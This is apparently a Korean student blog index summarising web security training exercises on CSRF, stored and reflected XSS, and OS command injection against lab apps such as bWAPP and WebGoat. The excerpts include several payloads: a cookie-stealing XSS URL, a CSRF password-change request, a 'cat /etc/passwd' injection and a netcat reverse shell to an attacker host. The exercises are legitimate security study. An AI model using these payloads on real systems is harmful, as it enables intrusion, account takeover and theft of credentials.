Tiny Bunny

Rookies/애플리케이션 보안 25

[SK shieldus Rookies 19기] Django pybo - 크로스 사이트 요청 위조 (CSRF)

[SK쉴더스 Rookies 19기] 클라우드 기반 스마트 융합보안 과정 01. pybo - CSRF config\settings.py MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware'..

[SK shieldus Rookies 19기] bWAPP bee.box - 크로스 사이트 요청 위조 (CSRF)

[SK쉴더스 Rookies 19기] 클라우드 기반 스마트 융합보안 과정 01. CSRF (Change Password) 로그인된 사용자의 비밀번호를 변경 가능 New password: Re-type new password: Change 페이지를 확인해보면.. 비밀번호를 1234로 바꾸는 요청은 http://bee.box/bWAPP/csrf_1.php?password_new=1234&password_conf=1234&action=change 해당 요청을 이전에 stored xss 취약점이 있었던 페이지에 삽입해보자 bee/bug로 로그인 안됨(비밀번호 1234로 변경됨)

[SK shieldus Rookies 19기] 크로스 사이트 요청 위조 (CSRF)

[SK쉴더스 Rookies 19기] 클라우드 기반 스마트 융합보안 과정 01. 크로스 사이트 요청 위조 (CSRF) : 요청을 전달 받은 서버가 요청의 절차와 주체를 검증하지 않고 요청을 처리했을 때 발생 → 희생자의 권한으로 공격자의 의도된 요청이 처리되는 문제가 발생 (희생자는 인지못함) ex. 자동 회원가입, 자동 글쓰기 ⋯ 게시글에 와 같이 크기를 0으로 두어 안보이게 하고 비밀번호를 바꾸는 태그를 적어주면, 해당 게시글을 읽게 되면 비밀번호가 변경된다 특히나 get방식을 사용할 경우, 원하는 공격 요청을 만들기가 쉬움 ↔ XSS와 차이점 xss는 취약한 서버에서 전달된 공격 스크립트가 사용자 측에서 실행됨 (server to client) csrf는 희생자가 서버로 요청을 발생시키게 하는 것 (..

[SK shieldus Rookies 19기] Django pybo - Cross-Site Scripting (Stored)

[SK쉴더스 Rookies 19기] 클라우드 기반 스마트 융합보안 과정 01. pybo - autoescape 기존에 만들어 뒀던 게시판에 접근 xss 스크립트 삽입 스크립트가 단순 출력 됨 소스 보기를 하면 html 인코딩 되어있는 모습 → 어디서 바뀐거지? DB 확인 → 스크립트로 저장 = 아님 장고 템플릿에서 이스케이프 되는 거였군 . . 다른 태그들은 (, ...) 적용되게 하려면? → autoescape off가 필요함 b태그 잘 적용됨 가 들어가게 된다면? 쿠키 정보 alert 스크립트가 들어간 모습 → autoescape off는 주의해서 사용해야한다.. 02. pybo - safe 필터 sate 필터도 태그를 그대로 실행하기 때문에 조심해야함(위와 같은 기능) 03. pybo - mark_..

[SK shieldus Rookies 19기] bWAPP Bee.Box - Cross-Site Scripting - Stored (Blog)

[SK쉴더스 Rookies 19기] 클라우드 기반 스마트 융합보안 과정 01. XSS - Stored 입력 값이 저장되어 보여짐 태그를 사용해보면 문자열 그대로가 아닌 html 태그로 해석되는 모습 → xss 스크립트를 짤 수 있겠다 안보이나.. 싶지만 스크립트 코드로 들어감 해당 페이지를 방문할 때마다 쿠키 값 alert가 뜸(stored)

[SK shieldus Rookies 19기] bWAPP Bee.Box - Cross-Site Scripting - Reflected (GET)

[SK쉴더스 Rookies 19기] 클라우드 기반 스마트 융합보안 과정 01. XSS - Reflected 성과 이름을 입력하면 입력했던 값이 출력에 사용되는 모습 각각 스크립트를 넣어보면 모두 alert가 뜨는 모습 = 처리가 안됨 = XSS first 쿠키 값이 뜨게 스크립트 작성 쿠키 값 alert 해당 url http://bee.box/bWAPP/xss_get.php?firstname=first+%3Cscript%3E+alert%28document.cookie%29+%3C%2Fscript%3E&lastname=last&form=submit 을 공격에 사용 다른 pc에서 해당 url을 클릭하게 유도(로그인은 된 상태에서..) 하면 해당 사용자의 쿠키 값 뜨는 모습

[SK shieldus Rookies 19기] 크로스 사이트 스크립트 XSS (Cross-Site Scripting)

[SK쉴더스 Rookies 19기] 클라우드 기반 스마트 융합보안 과정 01. XSS (Cross-Site Scripting) : 웹 페이지에 악의적인 스크립트를 포함시켜 사용자 측에서 실행되게 유도 02. Stored XSS : 공격자의 스크립트 서버에 저장되었다가 사용자 조회 시 브라우저에 전달되어 실행 불특정 다수에게 지속적으로 전달됨 ex. 게시판에 와 같은 스크립트를 넣으면, 조회하는 사용자 쪽에서 스크립트가 실행 됨 03. Reflective XSS : 입력 값이 다음 화면 출력에 사용되는 경우, 입력 값 제한이 없다면 입력 된 스크립트가 사용자 브라우저에서 실행 단축 url과 같이 링크 내용을 숨겨서 전달하는 경우가 많음 ex. id 중복 체크하는 페이지에서 ~ check.jsp?abc 처럼..

[SK shieldus Rookies 19기] bWAPP bee.box - OS Command Injection

[SK쉴더스 Rookies 19기] 클라우드 기반 스마트 융합보안 과정 01. OS Command Injection 풀이 전 설정 추가! OS Command Injection / low 으로 설정 = nslookup 결과 dns서버에 질의해서 도메인의 정보를 조회 결과가 같음 = 입력 값이 검증 없이 내부 운영체제 명령어 실행에 사용되는구나 확인을 위해 추가적인 명령어를 넣어 실행해보자 www.naver.com ; cat /etc/passwd 접근 제한이 필요한 시스템 파일에 접근이 가능 02. NC(netcat)을 이용한 리버스 커넥션 8282포트를 리스닝하는 서버 실행 www.naver.com ; nc kali.linux 8282 -e /bin/bash nc 공격자주소 포트번호 → 주소와 포트번호로 ..

[SK shieldus Rookies 19기] WebGoat - Command Injection

[SK쉴더스 Rookies 19기] 클라우드 기반 스마트 융합보안 과정 01. Command Injection view로 .help 파일을 누르면 내용을 볼 수 있다 개발자 도구를 통해 전달되는 형식을 추측해본다 attack?Screen=6&menu=1100&HelpFile=AccessControlMatrix.help&SUBMIT=View 아마도 . . cmd.exe /c type "C:\FullstackLAB\workspace\.metadata\.plugins\org.eclipse.wst.server.core\tmp1\wtpwebapps\WebGoat\lesson_plans\English\AccessControlMatrix.html" cmd.exe → 명령 프롬프트 실행 /c → 명령어 실행 완료 후 ..

[SK shieldus Rookies 19기] Injection 취약점 - Command injection

[SK쉴더스 Rookies 19기] 클라우드 기반 스마트 융합보안 과정01. Injection 취약점: 입력값에 처리를 조작할 수 있는 문자열 포함 여부를 확인하지 않고 처리에 사용하는 경우, 처리의 구조와 의미가 변형되어 원래 의도했던 처리와 다르게 처리되는 문제점 → 입력값 검증, 제한을 통해 방어SQL Injection / XPath Injection / XQuery Injection / Command Injection 02. Command Injection어플리케이션에 운영체제 명령어(= 쉘 명령어)를 실행하는 기능이 존재하는 경우, 외부 입력값을 검증, 제한하지 않고 운영체제 명령어 또는 운영체제 명령어의 일부로 사용되는 경우 발생  시스템의 제어권을 탈취해서 해당 시스템을 원격에서 공격자가 마..

728x90